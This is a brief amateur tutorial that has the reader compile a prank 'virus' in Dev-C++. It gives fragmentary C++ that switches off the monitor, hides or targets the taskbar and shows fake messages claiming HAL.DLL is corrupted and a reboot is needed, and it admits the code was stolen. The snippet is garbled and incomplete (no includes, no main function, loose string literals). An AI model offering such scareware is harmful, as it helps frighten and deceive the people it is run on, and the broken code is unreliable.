So before we get started go download Dev-++. Once its downloaded and set up open it and insert this code:
using namespace std;
int f = 1;
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
"An error occurred in sector 5x00",
"Windows has detected HAL.DLL has been corrupted. Please re-install HAL.DLL to continue running windows correctly.",
hWin = FindWindow("Shell_TrayWnd",NULL);
"Please reboot your machine to ensure protection from further corruption.",
Once you have done that File>Save, then Execute>Compile. Go to wherever you saved it and there should be a .cpp and .exe file. The .exe is our "Viruse".
HOW THIS WORKS
Now i wont explain in depth this code but i will go over the general idea of programming. First you must have a source code that you wrote (or in this case stole) now to turn it into a program you must compile it. That is the basic idea of programming in the c language.